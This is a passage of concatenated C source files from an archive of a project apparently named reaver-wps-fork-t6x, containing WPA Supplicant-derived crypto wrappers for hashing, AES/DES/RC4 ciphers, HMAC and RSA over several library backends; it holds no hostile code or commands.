}; struct crypto_private_key { HCRYPTPROV prov; HCRYPTKEY rsa; }; struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len) { /* Use crypto_public_key_from_cert() instead. */ return NULL; } struct crypto_private_key * crypto_private_key_import(const u8 *key, size_t len, const char *passwd) { /* TODO */ return NULL; } struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf, size_t len) { struct crypto_public_key *pk; PCCERT_CONTEXT cc; pk = os_zalloc(sizeof(*pk)); if (pk == NULL) return NULL; cc = CertCreateCertificateContext(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, buf, len); if (!cc) { cryptoapi_report_error("CryptCreateCertificateContext"); os_free(pk); return NULL; } if (!CryptAcquireContext(&pk->prov, NULL, MS_DEF_PROV, PROV_RSA_FULL, 0)) { cryptoapi_report_error("CryptAcquireContext"); os_free(pk); CertFreeCertificateContext(cc); return NULL; } if (!CryptImportPublicKeyInfo(pk->prov, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, &cc->pCertInfo->SubjectPublicKeyInfo, &pk->rsa)) { cryptoapi_report_error("CryptImportPublicKeyInfo"); CryptReleaseContext(pk->prov, 0); os_free(pk); CertFreeCertificateContext(cc); return NULL; } CertFreeCertificateContext(cc); return pk; } int crypto_public_key_encrypt_pkcs1_v15(struct crypto_public_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { DWORD clen; u8 *tmp; size_t i; if (*outlen < inlen) return -1; tmp = malloc(*outlen); if (tmp == NULL) return -1; os_memcpy(tmp, in, inlen); clen = inlen; if (!CryptEncrypt(key->rsa, 0, TRUE, 0, tmp, &clen, *outlen)) { wpa_printf(MSG_DEBUG, "CryptoAPI: Failed to encrypt using " "public key: %d", (int) GetLastError()); os_free(tmp); return -1; } *outlen = clen; /* Reverse the output */ for (i = 0; i < *outlen; i++) out[i] = tmp[*outlen - 1 - i]; os_free(tmp); return 0; } int crypto_private_key_sign_pkcs1(struct crypto_private_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { /* TODO */ return -1; } void crypto_public_key_free(struct crypto_public_key *key) { if (key) { CryptDestroyKey(key->rsa); CryptReleaseContext(key->prov, 0); os_free(key); } } void crypto_private_key_free(struct crypto_private_key *key) { if (key) { CryptDestroyKey(key->rsa); CryptReleaseContext(key->prov, 0); os_free(key); } } int crypto_global_init(void) { return mingw_load_crypto_func(); } void crypto_global_deinit(void) { } int crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len) { /* TODO */ return -1; } reaver-wps-fork-t6x-1.6.6/src/crypto/crypto_gnutls.c000077500000000000000000000155551363372615500225150ustar00rootroot00000000000000/* * WPA Supplicant / wrapper functions for libgcrypt * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "crypto.h" int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { gcry_md_hd_t hd; unsigned char *p; size_t i; if (gcry_md_open(&hd, GCRY_MD_MD4, 0) != GPG_ERR_NO_ERROR) return -1; for (i = 0; i < num_elem; i++) gcry_md_write(hd, addr[i], len[i]); p = gcry_md_read(hd, GCRY_MD_MD4); if (p) memcpy(mac, p, gcry_md_get_algo_dlen(GCRY_MD_MD4)); gcry_md_close(hd); return 0; } void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { gcry_cipher_hd_t hd; u8 pkey[8], next, tmp; int i; /* Add parity bits to the key */ next = 0; for (i = 0; i < 7; i++) { tmp = key[i]; pkey[i] = (tmp >> i) | next | 1; next = tmp << (7 - i); } pkey[i] = next | 1; gcry_cipher_open(&hd, GCRY_CIPHER_DES, GCRY_CIPHER_MODE_ECB, 0); gcry_err_code(gcry_cipher_setkey(hd, pkey, 8)); gcry_cipher_encrypt(hd, cypher, 8, clear, 8); gcry_cipher_close(hd); } int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { gcry_md_hd_t hd; unsigned char *p; size_t i; if (gcry_md_open(&hd, GCRY_MD_MD5, 0) != GPG_ERR_NO_ERROR) return -1; for (i = 0; i < num_elem; i++) gcry_md_write(hd, addr[i], len[i]); p = gcry_md_read(hd, GCRY_MD_MD5); if (p) memcpy(mac, p, gcry_md_get_algo_dlen(GCRY_MD_MD5)); gcry_md_close(hd); return 0; } int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { gcry_md_hd_t hd; unsigned char *p; size_t i; if (gcry_md_open(&hd, GCRY_MD_SHA1, 0) != GPG_ERR_NO_ERROR) return -1; for (i = 0; i < num_elem; i++) gcry_md_write(hd, addr[i], len[i]); p = gcry_md_read(hd, GCRY_MD_SHA1); if (p) memcpy(mac, p, gcry_md_get_algo_dlen(GCRY_MD_SHA1)); gcry_md_close(hd); return 0; } void * aes_encrypt_init(const u8 *key, size_t len) { gcry_cipher_hd_t hd; if (gcry_cipher_open(&hd, GCRY_CIPHER_AES, GCRY_CIPHER_MODE_ECB, 0) != GPG_ERR_NO_ERROR) { printf("cipher open failed\n"); return NULL; } if (gcry_cipher_setkey(hd, key, len) != GPG_ERR_NO_ERROR) { printf("setkey failed\n"); gcry_cipher_close(hd); return NULL; } return hd; } void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) { gcry_cipher_hd_t hd = ctx; gcry_cipher_encrypt(hd, crypt, 16, plain, 16); } void aes_encrypt_deinit(void *ctx) { gcry_cipher_hd_t hd = ctx; gcry_cipher_close(hd); } void * aes_decrypt_init(const u8 *key, size_t len) { gcry_cipher_hd_t hd; if (gcry_cipher_open(&hd, GCRY_CIPHER_AES, GCRY_CIPHER_MODE_ECB, 0) != GPG_ERR_NO_ERROR) return NULL; if (gcry_cipher_setkey(hd, key, len) != GPG_ERR_NO_ERROR) { gcry_cipher_close(hd); return NULL; } return hd; } void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) { gcry_cipher_hd_t hd = ctx; gcry_cipher_decrypt(hd, plain, 16, crypt, 16); } void aes_decrypt_deinit(void *ctx) { gcry_cipher_hd_t hd = ctx; gcry_cipher_close(hd); } int crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len) { gcry_mpi_t bn_base = NULL, bn_exp = NULL, bn_modulus = NULL, bn_result = NULL; int ret = -1; if (gcry_mpi_scan(&bn_base, GCRYMPI_FMT_USG, base, base_len, NULL) != GPG_ERR_NO_ERROR || gcry_mpi_scan(&bn_exp, GCRYMPI_FMT_USG, power, power_len, NULL) != GPG_ERR_NO_ERROR || gcry_mpi_scan(&bn_modulus, GCRYMPI_FMT_USG, modulus, modulus_len, NULL) != GPG_ERR_NO_ERROR) goto error; bn_result = gcry_mpi_new(modulus_len * 8); gcry_mpi_powm(bn_result, bn_base, bn_exp, bn_modulus); if (gcry_mpi_print(GCRYMPI_FMT_USG, result, *result_len, result_len, bn_result) != GPG_ERR_NO_ERROR) goto error; ret = 0; error: gcry_mpi_release(bn_base); gcry_mpi_release(bn_exp); gcry_mpi_release(bn_modulus); gcry_mpi_release(bn_result); return ret; } struct crypto_cipher { gcry_cipher_hd_t enc; gcry_cipher_hd_t dec; }; struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len) { struct crypto_cipher *ctx; gcry_error_t res; enum gcry_cipher_algos a; int ivlen; ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; switch (alg) { case CRYPTO_CIPHER_ALG_RC4: a = GCRY_CIPHER_ARCFOUR; res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_STREAM, 0); gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_STREAM, 0); break; case CRYPTO_CIPHER_ALG_AES: if (key_len == 24) a = GCRY_CIPHER_AES192; else if (key_len == 32) a = GCRY_CIPHER_AES256; else a = GCRY_CIPHER_AES; res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0); gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0); break; case CRYPTO_CIPHER_ALG_3DES: a = GCRY_CIPHER_3DES; res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0); gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0); break; case CRYPTO_CIPHER_ALG_DES: a = GCRY_CIPHER_DES; res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0); gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0); break; case CRYPTO_CIPHER_ALG_RC2: if (key_len == 5) a = GCRY_CIPHER_RFC2268_40; else a = GCRY_CIPHER_RFC2268_128; res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0); gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0); break; default: os_free(ctx); return NULL; } if (res != GPG_ERR_NO_ERROR) { os_free(ctx); return NULL; } if (gcry_cipher_setkey(ctx->enc, key, key_len) != GPG_ERR_NO_ERROR || gcry_cipher_setkey(ctx->dec, key, key_len) != GPG_ERR_NO_ERROR) { gcry_cipher_close(ctx->enc); gcry_cipher_close(ctx->dec); os_free(ctx); return NULL; } ivlen = gcry_cipher_get_algo_blklen(a); if (gcry_cipher_setiv(ctx->enc, iv, ivlen) != GPG_ERR_NO_ERROR || gcry_cipher_setiv(ctx->dec, iv, ivlen) != GPG_ERR_NO_ERROR) { gcry_cipher_close(ctx->enc); gcry_cipher_close(ctx->dec); os_free(ctx); return NULL; } return ctx; } int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len) { if (gcry_cipher_encrypt(ctx->enc, crypt, len, plain, len) != GPG_ERR_NO_ERROR) return -1; return 0; } int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len) { if (gcry_cipher_decrypt(ctx->dec, plain, len, crypt, len) != GPG_ERR_NO_ERROR) return -1; return 0; } void crypto_cipher_deinit(struct crypto_cipher *ctx) { gcry_cipher_close(ctx->enc); gcry_cipher_close(ctx->dec); os_free(ctx); } reaver-wps-fork-t6x-1.6.6/src/crypto/crypto_internal-cipher.c000077500000000000000000000130321363372615500242510ustar00rootroot00000000000000/* * Crypto wrapper for internal crypto implementation - Cipher wrappers * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "aes.h" #include "des_i.h" struct crypto_cipher { enum crypto_cipher_alg alg; union { struct { size_t used_bytes; u8 key[16]; size_t keylen; } rc4; struct { u8 cbc[32]; size_t block_size; void *ctx_enc; void *ctx_dec; } aes; struct { struct des3_key_s key; u8 cbc[8]; } des3; struct { u32 ek[32]; u32 dk[32]; u8 cbc[8]; } des; } u; }; struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len) { struct crypto_cipher *ctx; ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; ctx->alg = alg; switch (alg) { case CRYPTO_CIPHER_ALG_RC4: if (key_len > sizeof(ctx->u.rc4.key)) { os_free(ctx); return NULL; } ctx->u.rc4.keylen = key_len; os_memcpy(ctx->u.rc4.key, key, key_len); break; case CRYPTO_CIPHER_ALG_AES: if (key_len > sizeof(ctx->u.aes.cbc)) { os_free(ctx); return NULL; } ctx->u.aes.ctx_enc = aes_encrypt_init(key, key_len); if (ctx->u.aes.ctx_enc == NULL) { os_free(ctx); return NULL; } ctx->u.aes.ctx_dec = aes_decrypt_init(key, key_len); if (ctx->u.aes.ctx_dec == NULL) { aes_encrypt_deinit(ctx->u.aes.ctx_enc); os_free(ctx); return NULL; } ctx->u.aes.block_size = key_len; os_memcpy(ctx->u.aes.cbc, iv, ctx->u.aes.block_size); break; case CRYPTO_CIPHER_ALG_3DES: if (key_len != 24) { os_free(ctx); return NULL; } des3_key_setup(key, &ctx->u.des3.key); os_memcpy(ctx->u.des3.cbc, iv, 8); break; case CRYPTO_CIPHER_ALG_DES: if (key_len != 8) { os_free(ctx); return NULL; } des_key_setup(key, ctx->u.des.ek, ctx->u.des.dk); os_memcpy(ctx->u.des.cbc, iv, 8); break; default: os_free(ctx); return NULL; } return ctx; } int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len) { size_t i, j, blocks; switch (ctx->alg) { case CRYPTO_CIPHER_ALG_RC4: if (plain != crypt) os_memcpy(crypt, plain, len); rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen, ctx->u.rc4.used_bytes, crypt, len); ctx->u.rc4.used_bytes += len; break; case CRYPTO_CIPHER_ALG_AES: if (len % ctx->u.aes.block_size) return -1; blocks = len / ctx->u.aes.block_size; for (i = 0; i < blocks; i++) { for (j = 0; j < ctx->u.aes.block_size; j++) ctx->u.aes.cbc[j] ^= plain[j]; aes_encrypt(ctx->u.aes.ctx_enc, ctx->u.aes.cbc, ctx->u.aes.cbc); os_memcpy(crypt, ctx->u.aes.cbc, ctx->u.aes.block_size); plain += ctx->u.aes.block_size; crypt += ctx->u.aes.block_size; } break; case CRYPTO_CIPHER_ALG_3DES: if (len % 8) return -1; blocks = len / 8; for (i = 0; i < blocks; i++) { for (j = 0; j < 8; j++) ctx->u.des3.cbc[j] ^= plain[j]; des3_encrypt(ctx->u.des3.cbc, &ctx->u.des3.key, ctx->u.des3.cbc); os_memcpy(crypt, ctx->u.des3.cbc, 8); plain += 8; crypt += 8; } break; case CRYPTO_CIPHER_ALG_DES: if (len % 8) return -1; blocks = len / 8; for (i = 0; i < blocks; i++) { for (j = 0; j < 8; j++) ctx->u.des3.cbc[j] ^= plain[j]; des_block_encrypt(ctx->u.des.cbc, ctx->u.des.ek, ctx->u.des.cbc); os_memcpy(crypt, ctx->u.des.cbc, 8); plain += 8; crypt += 8; } break; default: return -1; } return 0; } int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len) { size_t i, j, blocks; u8 tmp[32]; switch (ctx->alg) { case CRYPTO_CIPHER_ALG_RC4: if (plain != crypt) os_memcpy(plain, crypt, len); rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen, ctx->u.rc4.used_bytes, plain, len); ctx->u.rc4.used_bytes += len; break; case CRYPTO_CIPHER_ALG_AES: if (len % ctx->u.aes.block_size) return -1; blocks = len / ctx->u.aes.block_size; for (i = 0; i < blocks; i++) { os_memcpy(tmp, crypt, ctx->u.aes.block_size); aes_decrypt(ctx->u.aes.ctx_dec, crypt, plain); for (j = 0; j < ctx->u.aes.block_size; j++) plain[j] ^= ctx->u.aes.cbc[j]; os_memcpy(ctx->u.aes.cbc, tmp, ctx->u.aes.block_size); plain += ctx->u.aes.block_size; crypt += ctx->u.aes.block_size; } break; case CRYPTO_CIPHER_ALG_3DES: if (len % 8) return -1; blocks = len / 8; for (i = 0; i < blocks; i++) { os_memcpy(tmp, crypt, 8); des3_decrypt(crypt, &ctx->u.des3.key, plain); for (j = 0; j < 8; j++) plain[j] ^= ctx->u.des3.cbc[j]; os_memcpy(ctx->u.des3.cbc, tmp, 8); plain += 8; crypt += 8; } break; case CRYPTO_CIPHER_ALG_DES: if (len % 8) return -1; blocks = len / 8; for (i = 0; i < blocks; i++) { os_memcpy(tmp, crypt, 8); des_block_decrypt(crypt, ctx->u.des.dk, plain); for (j = 0; j < 8; j++) plain[j] ^= ctx->u.des.cbc[j]; os_memcpy(ctx->u.des.cbc, tmp, 8); plain += 8; crypt += 8; } break; default: return -1; } return 0; } void crypto_cipher_deinit(struct crypto_cipher *ctx) { switch (ctx->alg) { case CRYPTO_CIPHER_ALG_AES: aes_encrypt_deinit(ctx->u.aes.ctx_enc); aes_decrypt_deinit(ctx->u.aes.ctx_dec); break; case CRYPTO_CIPHER_ALG_3DES: break; default: break; } os_free(ctx); } reaver-wps-fork-t6x-1.6.6/src/crypto/crypto_internal-modexp.c000077500000000000000000000027021363372615500242750ustar00rootroot00000000000000/* * Crypto wrapper for internal crypto implementation - modexp * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "tls/bignum.h" #include "crypto.h" int crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len) { struct bignum *bn_base, *bn_exp, *bn_modulus, *bn_result; int ret = -1; bn_base = bignum_init(); bn_exp = bignum_init(); bn_modulus = bignum_init(); bn_result = bignum_init(); if (bn_base == NULL || bn_exp == NULL || bn_modulus == NULL || bn_result == NULL) goto error; if (bignum_set_unsigned_bin(bn_base, base, base_len) < 0 || bignum_set_unsigned_bin(bn_exp, power, power_len) < 0 || bignum_set_unsigned_bin(bn_modulus, modulus, modulus_len) < 0) goto error; if (bignum_exptmod(bn_base, bn_exp, bn_modulus, bn_result) < 0) goto error; ret = bignum_get_unsigned_bin(bn_result, result, result_len); error: bignum_deinit(bn_base); bignum_deinit(bn_exp); bignum_deinit(bn_modulus); bignum_deinit(bn_result); return ret; } reaver-wps-fork-t6x-1.6.6/src/crypto/crypto_internal-rsa.c000077500000000000000000000055211363372615500235700ustar00rootroot00000000000000/* * Crypto wrapper for internal crypto implementation - RSA parts * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "tls/rsa.h" #include "tls/bignum.h" #include "tls/pkcs1.h" #include "tls/pkcs8.h" /* Dummy structures; these are just typecast to struct crypto_rsa_key */ struct crypto_public_key; struct crypto_private_key; struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len) { return (struct crypto_public_key *) crypto_rsa_import_public_key(key, len); } struct crypto_private_key * crypto_private_key_import(const u8 *key, size_t len, const char *passwd) { struct crypto_private_key *res; /* First, check for possible PKCS #8 encoding */ res = pkcs8_key_import(key, len); if (res) return res; if (passwd) { /* Try to parse as encrypted PKCS #8 */ res = pkcs8_enc_key_import(key, len, passwd); if (res) return res; } /* Not PKCS#8, so try to import PKCS #1 encoded RSA private key */ wpa_printf(MSG_DEBUG, "Trying to parse PKCS #1 encoded RSA private " "key"); return (struct crypto_private_key *) crypto_rsa_import_private_key(key, len); } struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf, size_t len) { /* No X.509 support in crypto_internal.c */ return NULL; } int crypto_public_key_encrypt_pkcs1_v15(struct crypto_public_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { return pkcs1_encrypt(2, (struct crypto_rsa_key *) key, 0, in, inlen, out, outlen); } int crypto_private_key_decrypt_pkcs1_v15(struct crypto_private_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { return pkcs1_v15_private_key_decrypt((struct crypto_rsa_key *) key, in, inlen, out, outlen); } int crypto_private_key_sign_pkcs1(struct crypto_private_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { return pkcs1_encrypt(1, (struct crypto_rsa_key *) key, 1, in, inlen, out, outlen); } void crypto_public_key_free(struct crypto_public_key *key) { crypto_rsa_free((struct crypto_rsa_key *) key); } void crypto_private_key_free(struct crypto_private_key *key) { crypto_rsa_free((struct crypto_rsa_key *) key); } int crypto_public_key_decrypt_pkcs1(struct crypto_public_key *key, const u8 *crypt, size_t crypt_len, u8 *plain, size_t *plain_len) { return pkcs1_decrypt_public_key((struct crypto_rsa_key *) key, crypt, crypt_len, plain, plain_len); } reaver-wps-fork-t6x-1.6.6/src/crypto/crypto_internal.c000077500000000000000000000077461363372615500230200ustar00rootroot00000000000000/* * Crypto wrapper for internal crypto implementation * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "sha1_i.h" #include "md5_i.h" struct crypto_hash { enum crypto_hash_alg alg; union { struct MD5Context md5; struct SHA1Context sha1; } u; u8 key[64]; size_t key_len; }; struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key, size_t key_len) { struct crypto_hash *ctx; u8 k_pad[64]; u8 tk[20]; size_t i; ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; ctx->alg = alg; switch (alg) { case CRYPTO_HASH_ALG_MD5: MD5Init(&ctx->u.md5); break; case CRYPTO_HASH_ALG_SHA1: SHA1Init(&ctx->u.sha1); break; case CRYPTO_HASH_ALG_HMAC_MD5: if (key_len > sizeof(k_pad)) { MD5Init(&ctx->u.md5); MD5Update(&ctx->u.md5, key, key_len); MD5Final(tk, &ctx->u.md5); key = tk; key_len = 16; } os_memcpy(ctx->key, key, key_len); ctx->key_len = key_len; os_memcpy(k_pad, key, key_len); os_memset(k_pad + key_len, 0, sizeof(k_pad) - key_len); for (i = 0; i < sizeof(k_pad); i++) k_pad[i] ^= 0x36; MD5Init(&ctx->u.md5); MD5Update(&ctx->u.md5, k_pad, sizeof(k_pad)); break; case CRYPTO_HASH_ALG_HMAC_SHA1: if (key_len > sizeof(k_pad)) { SHA1Init(&ctx->u.sha1); SHA1Update(&ctx->u.sha1, key, key_len); SHA1Final(tk, &ctx->u.sha1); key = tk; key_len = 20; } os_memcpy(ctx->key, key, key_len); ctx->key_len = key_len; os_memcpy(k_pad, key, key_len); os_memset(k_pad + key_len, 0, sizeof(k_pad) - key_len); for (i = 0; i < sizeof(k_pad); i++) k_pad[i] ^= 0x36; SHA1Init(&ctx->u.sha1); SHA1Update(&ctx->u.sha1, k_pad, sizeof(k_pad)); break; default: os_free(ctx); return NULL; } return ctx; } void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len) { if (ctx == NULL) return; switch (ctx->alg) { case CRYPTO_HASH_ALG_MD5: case CRYPTO_HASH_ALG_HMAC_MD5: MD5Update(&ctx->u.md5, data, len); break; case CRYPTO_HASH_ALG_SHA1: case CRYPTO_HASH_ALG_HMAC_SHA1: SHA1Update(&ctx->u.sha1, data, len); break; } } int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len) { u8 k_pad[64]; size_t i; if (ctx == NULL) return -2; if (mac == NULL || len == NULL) { os_free(ctx); return 0; } switch (ctx->alg) { case CRYPTO_HASH_ALG_MD5: if (*len < 16) { *len = 16; os_free(ctx); return -1; } *len = 16; MD5Final(mac, &ctx->u.md5); break; case CRYPTO_HASH_ALG_SHA1: if (*len < 20) { *len = 20; os_free(ctx); return -1; } *len = 20; SHA1Final(mac, &ctx->u.sha1); break; case CRYPTO_HASH_ALG_HMAC_MD5: if (*len < 16) { *len = 16; os_free(ctx); return -1; } *len = 16; MD5Final(mac, &ctx->u.md5); os_memcpy(k_pad, ctx->key, ctx->key_len); os_memset(k_pad + ctx->key_len, 0, sizeof(k_pad) - ctx->key_len); for (i = 0; i < sizeof(k_pad); i++) k_pad[i] ^= 0x5c; MD5Init(&ctx->u.md5); MD5Update(&ctx->u.md5, k_pad, sizeof(k_pad)); MD5Update(&ctx->u.md5, mac, 16); MD5Final(mac, &ctx->u.md5); break; case CRYPTO_HASH_ALG_HMAC_SHA1: if (*len < 20) { *len = 20; os_free(ctx); return -1; } *len = 20; SHA1Final(mac, &ctx->u.sha1); os_memcpy(k_pad, ctx->key, ctx->key_len); os_memset(k_pad + ctx->key_len, 0, sizeof(k_pad) - ctx->key_len); for (i = 0; i < sizeof(k_pad); i++) k_pad[i] ^= 0x5c; SHA1Init(&ctx->u.sha1); SHA1Update(&ctx->u.sha1, k_pad, sizeof(k_pad)); SHA1Update(&ctx->u.sha1, mac, 20); SHA1Final(mac, &ctx->u.sha1); break; } os_free(ctx); return 0; } int crypto_global_init(void) { return 0; } void crypto_global_deinit(void) { } reaver-wps-fork-t6x-1.6.6/src/crypto/crypto_libtomcrypt.c000077500000000000000000000343501363372615500235430ustar00rootroot00000000000000/* * WPA Supplicant / Crypto wrapper for LibTomCrypt (for internal TLSv1) * Copyright (c) 2005-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "crypto.h" #ifndef mp_init_multi #define mp_init_multi ltc_init_multi #define mp_clear_multi ltc_deinit_multi #define mp_unsigned_bin_size(a) ltc_mp.unsigned_size(a) #define mp_to_unsigned_bin(a, b) ltc_mp.unsigned_write(a, b) #define mp_read_unsigned_bin(a, b, c) ltc_mp.unsigned_read(a, b, c) #define mp_exptmod(a,b,c,d) ltc_mp.exptmod(a,b,c,d) #endif int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { hash_state md; size_t i; md4_init(&md); for (i = 0; i < num_elem; i++) md4_process(&md, addr[i], len[i]); md4_done(&md, mac); return 0; } void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { u8 pkey[8], next, tmp; int i; symmetric_key skey; /* Add parity bits to the key */ next = 0; for (i = 0; i < 7; i++) { tmp = key[i]; pkey[i] = (tmp >> i) | next | 1; next = tmp << (7 - i); } pkey[i] = next | 1; des_setup(pkey, 8, 0, &skey); des_ecb_encrypt(clear, cypher, &skey); des_done(&skey); } int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { hash_state md; size_t i; md5_init(&md); for (i = 0; i < num_elem; i++) md5_process(&md, addr[i], len[i]); md5_done(&md, mac); return 0; } int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { hash_state md; size_t i; sha1_init(&md); for (i = 0; i < num_elem; i++) sha1_process(&md, addr[i], len[i]); sha1_done(&md, mac); return 0; } void * aes_encrypt_init(const u8 *key, size_t len) { symmetric_key *skey; skey = os_malloc(sizeof(*skey)); if (skey == NULL) return NULL; if (aes_setup(key, len, 0, skey) != CRYPT_OK) { os_free(skey); return NULL; } return skey; } void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) { symmetric_key *skey = ctx; aes_ecb_encrypt(plain, crypt, skey); } void aes_encrypt_deinit(void *ctx) { symmetric_key *skey = ctx; aes_done(skey); os_free(skey); } void * aes_decrypt_init(const u8 *key, size_t len) { symmetric_key *skey; skey = os_malloc(sizeof(*skey)); if (skey == NULL) return NULL; if (aes_setup(key, len, 0, skey) != CRYPT_OK) { os_free(skey); return NULL; } return skey; } void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) { symmetric_key *skey = ctx; aes_ecb_encrypt(plain, (u8 *) crypt, skey); } void aes_decrypt_deinit(void *ctx) { symmetric_key *skey = ctx; aes_done(skey); os_free(skey); } struct crypto_hash { enum crypto_hash_alg alg; int error; union { hash_state md; hmac_state hmac; } u; }; struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key, size_t key_len) { struct crypto_hash *ctx; ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; ctx->alg = alg; switch (alg) { case CRYPTO_HASH_ALG_MD5: if (md5_init(&ctx->u.md) != CRYPT_OK) goto fail; break; case CRYPTO_HASH_ALG_SHA1: if (sha1_init(&ctx->u.md) != CRYPT_OK) goto fail; break; case CRYPTO_HASH_ALG_HMAC_MD5: if (hmac_init(&ctx->u.hmac, find_hash("md5"), key, key_len) != CRYPT_OK) goto fail; break; case CRYPTO_HASH_ALG_HMAC_SHA1: if (hmac_init(&ctx->u.hmac, find_hash("sha1"), key, key_len) != CRYPT_OK) goto fail; break; default: goto fail; } return ctx; fail: os_free(ctx); return NULL; } void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len) { if (ctx == NULL || ctx->error) return; switch (ctx->alg) { case CRYPTO_HASH_ALG_MD5: ctx->error = md5_process(&ctx->u.md, data, len) != CRYPT_OK; break; case CRYPTO_HASH_ALG_SHA1: ctx->error = sha1_process(&ctx->u.md, data, len) != CRYPT_OK; break; case CRYPTO_HASH_ALG_HMAC_MD5: case CRYPTO_HASH_ALG_HMAC_SHA1: ctx->error = hmac_process(&ctx->u.hmac, data, len) != CRYPT_OK; break; } } int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len) { int ret = 0; unsigned long clen; if (ctx == NULL) return -2; if (mac == NULL || len == NULL) { os_free(ctx); return 0; } if (ctx->error) { os_free(ctx); return -2; } switch (ctx->alg) { case CRYPTO_HASH_ALG_MD5: if (*len < 16) { *len = 16; os_free(ctx); return -1; } *len = 16; if (md5_done(&ctx->u.md, mac) != CRYPT_OK) ret = -2; break; case CRYPTO_HASH_ALG_SHA1: if (*len < 20) { *len = 20; os_free(ctx); return -1; } *len = 20; if (sha1_done(&ctx->u.md, mac) != CRYPT_OK) ret = -2; break; case CRYPTO_HASH_ALG_HMAC_SHA1: if (*len < 20) { *len = 20; os_free(ctx); return -1; } /* continue */ case CRYPTO_HASH_ALG_HMAC_MD5: if (*len < 16) { *len = 16; os_free(ctx); return -1; } clen = *len; if 